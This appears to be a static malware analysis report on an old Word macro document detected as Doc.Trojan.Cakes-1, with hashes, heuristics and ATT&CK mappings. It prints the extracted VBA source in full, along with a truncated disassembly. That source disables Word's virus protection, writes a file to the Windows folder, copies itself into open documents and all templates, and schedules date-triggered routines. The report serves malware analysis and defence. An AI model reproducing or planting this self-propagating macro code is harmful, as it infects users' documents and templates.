Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 edfab47ee698d5cd…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d1de18408c28fe6b45699d3f3970a967 SHA-1: 0c89df7f4f1ee9f004302034bb60b661be075f19 SHA-256: edfab47ee698d5cda04378233198b8ba9e6196d728fb8a64b1c0ab689fe4ee34
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for malicious documents. The macro attempts to write a file named 'MAJORANA.E' to 'C:\WINDOWS\', and also attempts to copy itself to other document templates, indicating a self-propagation or persistence mechanism. The ClamAV detection 'Doc.Trojan.Cakes-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Cakes-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cakes-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9660 bytes
SHA-256: 08f19e2cb9f439c97cf2c9c783e138185d5f9366e1de9436e2772c812379afd5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "L_"
'V1.1
'4/10/97
'MJRN-MF-TA
Const Refresh = "00:50:00"
Const Boom = "28/3/"
Sub AutoNew()
        Options.VirusProtection = False
        On Error Resume Next
        
        Dim f As Integer
        f = FreeFile
        Dim c As Integer
        Open "C:\WINDOWS\MAJORANA.E" For Append Access Read Write As f Len = Len(c)
        c = Rnd * 1000
        Write #f, c
        Close f
        
        Application.OrganizerCopy _
            Source:=ThisDocument.FullName, _
            Destination:=ActiveDocument.FullName, _
            Name:="L_", _
            Object:=wdOrganizerObjectProjectItems
        For Each d In Templates
        If (ThisDocument.FullName <> d.FullName) Then
            Application.OrganizerDelete _
            Source:=d.FullName, _
            Name:="L_", Object:=wdOrganizerObjectProjectItems
            Application.OrganizerCopy _
                Source:=ThisDocument.FullName, _
                Destination:=d.FullName, _
                Name:="L_", _
                Object:=wdOrganizerObjectProjectItems
            d.Save
        End If
        Next d
End Sub
Sub AutoOpen()
        Options.VirusProtection = False
        On Error Resume Next
        Dim f As Integer
        f = FreeFile
        Dim c As Integer
        Open "C:\WINDOWS\MAJORANA.E" For Append Access Read Write As f Len = Len(c)
        c = Rnd * 1000
        Write #f, c
        Close f
        
        If (ThisDocument.FullName <> ActiveDocument.FullName) Then
            Application.OrganizerDelete _
                Source:=ActiveDocument.FullName, _
                Name:="L_", Object:=wdOrganizerObjectProjectItems
            Application.OrganizerCopy _
                Source:=ThisDocument.FullName, _
                Destination:=ActiveDocument.FullName, _
                Name:="L_", _
                Object:=wdOrganizerObjectProjectItems
            ActiveDocument.Save
        End If
        For Each d In Templates
        If (ThisDocument.FullName <> d.FullName) Then
            Application.OrganizerDelete _
                Source:=d.FullName, _
                Name:="L_", Object:=wdOrganizerObjectProjectItems
            Application.OrganizerCopy _
                Source:=ThisDocument.FullName, _
                Destination:=d.FullName, _
                Name:="L_", _
                Object:=wdOrganizerObjectProjectItems
            d.Save
        End If
        Next d
End Sub
Sub AutoExec()
        Options.VirusProtection = False
        On Error Resume Next
        
        Dim f As Integer
        f = FreeFile
        Dim c As Integer
        Open "C:\WINDOWS\MAJORANA.E" For Append Access Read Write As f Len = Len(c)
        c = Rnd * 1000
        Write #f, c
        Close f
        
        Dim v As Date
        v = DateValue(Boom & Year(Now))
        If (Date >= v) And (Date <= v + 2) Then
            Application.OnTime when:=Now + TimeValue(Refresh), Name:="L_.effetto"
        Else
            Application.OnTime when:=Now + TimeValue(Refresh), Name:="L_.effetto2"
        End If
End Sub

' Processing file: /opt/analyzer/scan_staging/52d5619c5c6d4140a00c7d5a2e016735.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/L_ - 4224 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0004 "V1.1"
' Line #1:
' 	QuoteRem 0x0000 0x0007 "4/10/97"
' Line #2:
' 	QuoteRem 0x0000 0x000A "MJRN-MF-TA"
' Line #3:
' 	Dim (Const) 
' 	LitStr 0x0008 "00:50:00"
' 	VarDefn Refresh
' Line #4:
' 	Dim (Const) 
' 	LitStr 0x0005 "28/3/"
' 	VarDefn Boom
' Line #5:
' 	FuncDefn (Sub AutoNew())
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	OnError (Resume Next) 
' Line
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.